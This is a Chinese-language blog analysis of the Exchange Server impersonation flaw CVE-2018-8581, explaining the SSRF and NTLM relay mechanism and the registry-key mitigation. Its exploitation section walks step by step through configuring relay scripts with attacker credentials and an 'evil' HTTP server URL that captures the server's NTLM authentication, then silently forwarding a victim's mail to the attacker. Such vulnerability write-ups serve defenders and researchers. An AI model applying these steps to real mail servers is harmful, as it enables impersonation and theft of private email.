• EXCHANGE上冒充任意用户--Exchange Server权限提升漏洞(CVE-2018-8581)分析


    0x00 前言

    这是我们2018年Top 5趣案系列中的第三个案例。这些漏洞都有一些因素使它们从今年发布的大约1,400个报告中脱颖而出。今天我们将分析一个Exchange漏洞,它允许任何经过身份验证的用户冒充Exchange Server上的其他用户。

    在ZDI的Dustin Childs 12月的文章 中,他提到了一个Exchange漏洞,允许Exchange服务器上的任何用户冒充该Exchange服务器上的任何人。虽然这个漏洞可以用于一些内网的劫持,但这个漏洞更有可能被用于钓鱼活动、窃取数据或其他恶意软件操作。作为2018年Top 5趣案系列的一部分,本文深入研究了这个SSRF(服务器端请求伪造)漏洞的细节,并展示了冒充过程是如何实现的。

    0x01 漏洞分析

    该漏洞是由SSRF漏洞和其他漏洞相结合造成的。Exchange允许任何用户为推送订阅指定所需的URL,服务器将尝试向这个URL发送通知。问题出在Exchange服务器使用CredentialCache.DefaultCredentials进行连接:

    在Exchange Web服务中,CredentialCache.DefaultCredentials在NT AUTHORITYSYSTEM上运行。这将导致Exchange Server向攻击者的服务器发送NTLM散列。Exchange服务器还默认设置了以下注册表项:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaDisableLoopbackCheck = 1

    这允许我们使用这些NTLM散列来进行HTTP身份验证。例如,可以使用这些散列来访问Exchange Web服务(EWS)。由于它在NT AUTHORITYSYSTEM级别运行,攻击者可以获得TokenSerializationRight的“特权”会话,然后可以使用SOAP请求头来冒充任何用户。

    下面是这样一个SOAP请求头的例子,它用SID S-1-5-21-4187549019-2363330540-1546371449-500冒充管理员。

    0x02 漏洞利用

    为了演示,我们将使用几个Python脚本:

    serverHTTP_relayNTLM.py– 通过入站连接获取NTLM散列并用于EWS身份验证

    exch_EWS_pushSubscribe.py – 导致PushSubscription EWS调用serverHTTP_relayNTLM.py

    你可以在这里下载这些脚本。你还需要python-NTLM模块。

    漏洞的第一步是获取我们要冒充的用户的SID。一种可能的使用方法是这样的:

    1.以授权用户身份登录OWA。在这里,我们以“攻击者”身份登录:

    2.接下来,创建任意新文件夹。在这个例子中,我们使用了temfold。点击context中“Permissions…”选项:

    3.在这里,添加要冒充的人的电子邮件。我们的目标是受害者victim@contoso.local

    4.现在我们需要按F12键并选择Network选项。然后在新文件夹中再次选择context中“Permissions…”选项。

    5.我们需要检查第一个service.svc?action=GetFolder请求的响应。查看方法:

    Body->ResponseMessages->Items->0->Folders->0->PermissionSet->Permissions->N->UserId->SID

    在这个例子中,N是2(最新的),但是你可以全部检查一遍以便找到正确的。PrimarySmtpAddress应该是理想的受害者。如果响应不包含PermissionSet项,则需要检查另一个service.svc?action=GetFolder请求。

    6.我们将在serverHTTP_relayNTLM.py中使用这个SID来冒充受害者。另外,我们还需要选择在攻击者控制的计算机上不太可能被阻止的TCP端口,这些端口将允许Exchange Server上的外部连接。例如,TCP端口8080可能可用。现在,让我们用真实信息更改serverHTTP_relayNTLM.py中的下一行:

    #Port for the HTTP server

    #Should be the same as in EVIL_HTTPSERVER_URL in Exch_EWS_pushSubscribe.py

    HTTPPORT = 8080

    #You have to replace next values by valid ip/address, port and protocol ('http' or 'https') to EWS 
    target_ip='exch2016.contoso.local'
    target_port = 443
    PROTO='https'
    #PROTO='http'
    #Path to EWS URL = "/EWS/Exchange.asmx"
    #SMTP addresses of attacker mailbox (we will receive all emails sent to victim) ATTACKER = "attacker@contoso.local" VICTIM_SID = "S-1-5-21-4187549019-2363330540-1546371449-2604"

    一旦脚本有了正确的变量,就可以启动了:

    7.下一步是在Exch_EWS_PushSubscribe.py脚本中设置适当的变量:

    #You have to replace next values by valid ip/address, port and protocol ('http' or 'https')
    ip='exch2016.contoso.local'
    tcp_port = 443
    #PROTO='http'
    PROTO='https'
    
    #Credentials of attacker
    USER = 'attacker'
    DOMAIN = 'contoso.local'
    PASS = 'P@ssw0rd'
    URL = "/EWS/Exchange.asmx"
    
    #URL of our HTTP server that will use NTLM hashes for impersonation of victim 
    
    EVIL_HTTPSERVER_URL = "http://192.168.50.173:8080/test"

    一旦完成,我们就可以执行以下脚本:

    8.最后一步。我们需要一些事件触发推送通知。如果可以等待一段时间,或者我们也可以执行一些操作,比如创建和发送新的电子邮件,或者删除我们的新文件

    如果成功,我们应该接收从Exchange服务器到serverHTTP_relayNTLM.py的入站连接:

    如果攻击成功,我们将在最后一个响应中看到UpdateInboxRulesResponse ResponseClass=“Success”。这意味着入站规则已添加到受害者邮箱中,所有入站电子邮件都将转发给攻击者。

    现在一切就绪,是时候测试了。我们需要从任意帐户向受害者发送电子邮件,但与我们新规则中的目的地不相同(在本例是attacker@contoso.local),因为如果源和目的地是相同的地址,则该规则不会转发电子邮件。让我们以管理员身份登录并向受害者发送一些“敏感”信息:

    检查攻击者的收件箱,我们看到消息成功转发:

    正如我们所看到的,新的邮件被转发给攻击者。类似的结果可以通过其他EWS API实现,比如AddDelegate或将编辑权限分配给目标文件夹。

    0x03 补丁

    微软将该漏洞分配为CVE-2018-8581,并在11月份发布时给出缓解措施。实际上这个漏洞还没有修补程序。相反,Microsoft强调应该删除注册表项。删除这个键可启用回送检查。回想上面的内容,Exchange服务器默认设置了以下注册表项:

    HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaDisableLoopbackCheck = 1

    如果删除HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaDisableLoopbackCheck键,则漏洞不可以。若要删除注册表项,请在CMD窗口中输入以下命令:

    删除密钥后不需要重新启动或Exchange Server。公告指出,将来Exchange的更新在默认情况下将不再启用注册表项。

    0x04 总结

    电子邮件已经成为我们商业生活的核心组成部分,Exchange Server多年来一直是一个热门的目标。该漏洞允许冒充用户,通过以前报告的漏洞允许任意代码执行。这两种情况都表明,有时最大的安全风险来自内部。这些漏洞还展示了外部攻击者如何从单个入口点在整个企业中扩散。

  • 相关阅读:
    python的三个函数map、filter、reduce详解
    python 对文件进行切分行
    sed 命令匹配行操作
    停止学习框架
    JS中双等号“==”使用情况
    JavaScript中数组迭代方法
    JavaScript中replace()方法的第二个参数解析
    Vue生命周期
    JS中浮点数精度误差解决
    大量DOM操作的解决方案
  • 原文地址:https://www.cnblogs.com/backlion/p/11047387.html
Copyright © 2020-2023  润新知